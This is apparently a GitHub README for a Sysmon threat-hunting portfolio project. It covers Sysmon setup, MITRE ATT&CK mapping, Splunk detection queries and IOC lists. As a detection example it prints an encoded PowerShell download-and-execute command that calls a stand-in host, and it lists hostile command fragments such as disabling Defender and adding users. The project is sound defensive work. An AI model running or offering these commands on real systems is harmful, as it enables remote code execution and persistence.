riyazshaikplvd/-7.Threat-Hunting-Using-Sysmon-Logs
GitHub: riyazshaikplvd/7.Threat-Hunting-Using-Sysmon-Logs
基于 Sysmon 日志与 Splunk/Wazuh 的主动威胁狩猎项目,通过手动分析进程行为并映射 MITRE ATT&CK 框架来发现隐藏攻击活动。
Stars: 0 | Forks: 0
# 🔍 使用 Sysmon 日志进行威胁狩猎
[](https://github.com/riyazshaikplvd)
[](https://attack.mitre.org/)
[](https://github.com/riyazshaikplvd)
[](https://github.com/riyazshaikplvd)
## 📌 什么是这个项目?
这个项目是关于 **威胁狩猎** 的 —— 这是一种主动防御方法,SOC 分析师在告警触发之前,**手动搜寻** 隐藏在系统内部的攻击者。
我们没有等待告警,而是深入日志,寻找攻击者留下的 **可疑行为** —— 例如 PowerShell 执行编码命令、cmd.exe 从 Word 中启动,或者进程执行了它们绝不应该进行的操作。
**可以这么理解:** 普通的防病毒软件只会被动等待病毒发起攻击。而威胁狩猎意味着在攻击者造成破坏之前,由你去主动搜寻他们。
## 🎯 目标
没有自动化告警。没有预设规则。只有原始日志和分析师的眼睛。
## 🛠️ 使用的工具
| 工具 | 用途 | 重要性 |
|------|---------|---------------|
| **Sysmon (System Monitor)** | 捕获详细的 Windows 进程、网络和文件事件 | 默认的 Windows 日志会遗漏 80% 的攻击者活动。Sysmon 填补了这一空白 |
| **Windows 事件日志** | 操作系统自带日志(安全、系统、应用程序) | 像 4688、4624 这样的 Event ID 揭示了登录和进程活动 |
| **Wazuh** | 用于日志收集和关联的开源 SIEM | 聚合日志、发送告警、展示仪表板 |
| **Splunk** | 搜索与分析平台 | 使用 SPL 查询来过滤、搜索和可视化可疑模式 |
## 🗂️ 仓库结构
```
threat-hunting-sysmon/
│
├── README.md ← You are here (complete project guide)
│
├── scripts/
│ ├── sysmon_install.ps1 ← Install & configure Sysmon
│ ├── hunt_powershell.ps1 ← Hunt for suspicious PowerShell
│ ├── hunt_cmd_abuse.ps1 ← Hunt for CMD abuse
│ ├── hunt_parent_child.ps1 ← Detect abnormal parent-child processes
│ ├── hunt_encoded_commands.ps1 ← Find Base64 encoded command executions
│ └── splunk_queries.spl ← All SPL queries used in Splunk
│
├── logs/
│ └── sample/
│ ├── sysmon_sample.xml ← Sample Sysmon Event ID 1 logs
│ └── windows_event_sample.xml ← Sample Windows Security Event logs
│
├── reports/
│ ├── threat_hunt_report.md ← Full investigation report
│ └── ioc_summary.csv ← All IOCs found in one CSV
│
├── iocs/
│ └── indicators_of_compromise.md ← Detailed IOC documentation
│
└── mitre-mapping/
└── attack_mapping.md ← MITRE ATT&CK technique mapping
```
## 🔬 我们狩猎的内容(任务)
### 1. 🖥️ PowerShell 执行
**这是什么?**
PowerShell 是一个强大的 Windows 脚本工具。攻击者喜欢它,因为它可以下载恶意软件、绕过防御并运行命令 —— 所有这些都可以在不将文件写入磁盘的情况下直接在内存中完成。
**我们寻找的内容:**
- 从异常父进程启动的 PowerShell(例如 Word、Excel 启动 PowerShell)
- 使用 `-EncodedCommand` 标志的命令(将真实命令隐藏在 Base64 中)
- 使用 `Invoke-WebRequest` 或 `IEX` (Invoke-Expression) 进行的下载
- 执行策略绕过 (`-ExecutionPolicy Bypass`)
**Sysmon Event ID:** `1` (Process Create)
**Windows Event ID:** `4688` (Process Created), `4104` (Script Block Logging)
### 2. 💻 CMD 滥用
**这是什么?**
cmd.exe (命令提示符) 被 Windows 合法使用。但攻击者会滥用它来运行隐藏命令、删除日志、添加用户并进行横向移动。
**我们寻找的内容:**
- 由 Office 应用程序 (Word、Excel、Outlook) 启动的 cmd.exe —— 这几乎总是恶意的
- 添加新用户账户的命令 (`net user /add`)
- 禁用 Windows Defender 的命令 (`sc stop WinDefend`)
- 使用 `%TEMP%` 或 `%APPDATA%` 来隐藏恶意文件的命令
**Sysmon Event ID:** `1` (Process Create)
**Windows Event ID:** `4688`
### 3. 👨👦 可疑的父-子进程
**这是什么?**
Windows 上的每个进程都有一个父进程(启动它的进程)。正常的父-子进程关系是可预测的。攻击者会打破这种模式。
**正常:** `explorer.exe → chrome.exe`
**可疑:** `winword.exe → powershell.exe` 或 `svchost.exe → cmd.exe`
**我们寻找的内容:**
- 生成 shell (cmd、powershell、wscript) 的 Office 应用程序 (winword、excel、outlook)
- 生成异常子进程的系统进程 (lsass、svchost)
- 从 temp 文件夹运行的进程 (`C:\Windows\Temp\`, `C:\Users\*\AppData\`)
**Sysmon Event ID:** `1` (Process Create — 包含 ParentProcessName 字段)
### 4. 🔐 编码命令
**这是什么?**
攻击者将他们的恶意命令编码为 Base64,使其看起来像乱码一样,从而绕过寻找如 "download" 或 "malware" 等关键字的检测规则。
**编码命令的示例:**
```
powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQAIgApAA==
```
**解码后为:** `IEX (New-Object Net.WebClient).DownloadString("http://malicious.com/payload")`
**我们寻找的内容:**
- 任何包含 `-EncodedCommand` 或 `-enc` 的 PowerShell 命令行
- 进程命令行中的超长 Base64 字符串
- 然后对它们进行解码以查看真实命令
## ⚙️ 我们如何搭建实验室
### 第一步 — 安装 Sysmon
```
# 从 Microsoft Sysinternals 下载 Sysmon
# https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
# 使用 SwiftOnSecurity config 安装(最佳实践 config)
sysmon64.exe -accepteula -i sysmonconfig.xml
```
### 第二步 — 验证 Sysmon 是否正在运行
```
Get-Service Sysmon64
# 应该显示:Running
# 检查日志是否正在输入
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
```
### 第三步 — 将日志连接到 Wazuh/Splunk
```
Microsoft-Windows-Sysmon/Operational
eventchannel
```
### 第四步 — 开始狩猎(运行脚本)
```
# 搜寻 PowerShell 滥用
.\scripts\hunt_powershell.ps1
# 搜寻 CMD 滥用
.\scripts\hunt_cmd_abuse.ps1
# 搜寻父子异常
.\scripts\hunt_parent_child.ps1
# 搜寻编码命令
.\scripts\hunt_encoded_commands.ps1
```
## 🔎 关键 Sysmon Event ID 参考
| Event ID | 名称 | 对威胁狩猎的重要性 |
|----------|------|----------------------------------|
| **1** | Process Create | 捕获每个进程及其父进程以及完整的命令行 |
| **3** | Network Connection | 捕获恶意软件的回连通信 (C2 communication) |
| **7** | Image Loaded | 检测 DLL 注入攻击 |
| **8** | CreateRemoteThread | 进程注入的经典标志 (Mimikatz 等) |
| **10** | ProcessAccess | 捕获凭证转储 (lsass 访问) |
| **11** | FileCreate | 恶意软件将文件写入磁盘 |
| **12/13** | Registry Events | 通过注册表实现持久化 (Run keys) |
| **22** | DNS Query | 进程进行 DNS 查找 (回连) |
## 🗺️ MITRE ATT&CK 映射
| 技术 ID | 技术名称 | 我们的发现 | 战术 |
|-------------|---------------|---------------|--------|
| T1059.001 | PowerShell | 编码的 PS 命令、绕过标志 | Execution |
| T1059.003 | Windows CMD | 从 Word/Excel 启动的 CMD | Execution |
| T1036 | Masquerading | 模仿系统名称的进程 | Defense Evasion |
| T1055 | Process Injection | 异常的父子进程链 | Defense Evasion |
| T1140 | Deobfuscate/Decode | Base64 编码命令解码 | Defense Evasion |
| T1547.001 | Registry Run Keys | 通过注册表实现持久化 | Persistence |
| T1003.001 | LSASS Memory | 对 lsass.exe 的 ProcessAccess | Credential Access |
| T1071 | App Layer Protocol | 被攻陷后发生的可疑网络调用 | C2 |
查看完整映射 → [mitre-mapping/attack_mapping.md](mitre-mapping/attack_mapping.md)
## 🚨 发现的妥协指标
### 基于进程的 IOC
```
winword.exe → powershell.exe [SUSPICIOUS]
excel.exe → cmd.exe [SUSPICIOUS]
svchost.exe → whoami.exe [SUSPICIOUS]
powershell.exe with -enc flag [HIGH RISK]
cmd.exe running from %TEMP% [HIGH RISK]
```
### 命令行 IOC
```
-EncodedCommand
-ExecutionPolicy Bypass
Invoke-WebRequest
IEX (Invoke-Expression)
DownloadString
net user /add
sc stop WinDefend
```
### 文件路径 IOC
```
C:\Windows\Temp\*.exe
C:\Users\*\AppData\Local\Temp\*.ps1
C:\ProgramData\*.exe (unusual)
```
查看完整的 IOC 列表 → [iocs/indicators_of_compromise.md](iocs/indicators_of_compromise.md)
## 📊 使用的 Splunk SPL 查询
### 狩猎编码的 PowerShell
```
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventCode=1
CommandLine="*-enc*" OR CommandLine="*-EncodedCommand*"
| table _time, Computer, ParentImage, Image, CommandLine
| sort -_time
```
### 狩猎可疑的父子进程
```
index=wineventlog EventCode=1
(ParentImage="*winword*" OR ParentImage="*excel*" OR ParentImage="*outlook*")
(Image="*powershell*" OR Image="*cmd*" OR Image="*wscript*")
| table _time, Computer, ParentImage, Image, CommandLine
```
### 狩猎来自 Office 的 CMD
```
index=wineventlog EventCode=4688
NewProcessName="*cmd.exe"
ParentProcessName IN ("*WINWORD.EXE","*EXCEL.EXE","*OUTLOOK.EXE")
| table TimeCreated, Computer, SubjectUserName, NewProcessName, ParentProcessName, CommandLine
```
### 狩猎 LSASS 访问(凭证转储)
```
index=wineventlog EventCode=10
TargetImage="*lsass.exe"
| table _time, Computer, SourceImage, TargetImage, GrantedAccess
```
查看所有查询 → [scripts/splunk_queries.spl](scripts/splunk_queries.spl)
## 📝 调查工作流(我们是如何解决的)
```
Step 1: COLLECT
Install Sysmon → Enable Script Block Logging → Forward to SIEM
Step 2: IDENTIFY BASELINE
What is NORMAL behavior on this system?
(Know your normal to find the abnormal)
Step 3: HUNT
Run hunting scripts → Search for known attack patterns
Step 4: INVESTIGATE
For every suspicious hit:
→ Who ran it? (username)
→ What process spawned it? (parent process)
→ What did it do next? (child processes, network connections)
→ What files did it touch?
Step 5: DOCUMENT IOCs
Record process names, hashes, IPs, domains, command lines
Step 6: MAP TO MITRE ATT&CK
Match every finding to a MITRE technique
Step 7: REPORT
Write structured findings → Escalate confirmed threats
```
## 💡 展现的技能
| 技能 | 本项目中的证明 |
|-------|--------------------------|
| **威胁狩猎** | 在没有自动化告警的情况下进行手动狩猎 |
| **进程分析** | 分析了父子进程链 |
| **MITRE ATT&CK 映射** | 将每一个发现都映射到了 ATT&CK 技术 |
| **Sysmon 专业知识** | 清楚哪些 Event ID 重要以及原因 |
| **Splunk SPL** | 编写了自定义检测查询 |
| **PowerShell 分析** | 解码了 Base64 编码命令 |
| **IOC 识别** | 记录了发现的所有指标 |
| **事件文档编写** | 专业的报告撰写能力 |
## 🏆 简历要点(可直接复制)
## 🚀 未来的应用场景
本项目的技能可直接应用于:
1. **EDR 分析** — 在 CrowdStrike、SentinelOne、Microsoft Defender for Endpoint 中也使用相同的进程狩猎逻辑
2. **SIEM 规则编写** — 这里的 SPL 查询可以转化为检测规则
3. **事件响应** — 当攻击发生时,这些相同的技术可用于取证
4. **红队检测** — 了解攻击者技术有助于构建更好的防御
5. **威胁情报** — 这里收集的 IOC 可以通过 STIX/TAXII feed 共享
6. **紫队演练** — 在红队模拟之后运行这些狩猎
## 👨💻 作者
**Riyaz Shaik** | SOC Analyst L1
📧 riyazshaikplvd@gmail.com
🔗 [LinkedIn](https://www.linkedin.com/in/riyazshaikplvd)
🐙 [GitHub](https://github.com/riyazshaikplvd)
🌐 [作品集](https://riyaz-portfolio-delta.vercel.app/)
## 📚 参考资料与资源
- [Sysmon - Microsoft Sysinternals](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon)
- [SwiftOnSecurity Sysmon 配置](https://github.com/SwiftOnSecurity/sysmon-config)
- [MITRE ATT&CK 框架](https://attack.mitre.org/)
- [Wazuh 文档](https://documentation.wazuh.com/)
- [Splunk 安全基础](https://splunkbase.splunk.com/app/3435/)
- [Windows 事件日志参考](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/)
标签:AI合规, PB级数据处理, Sysmon, Wazuh, 安全运维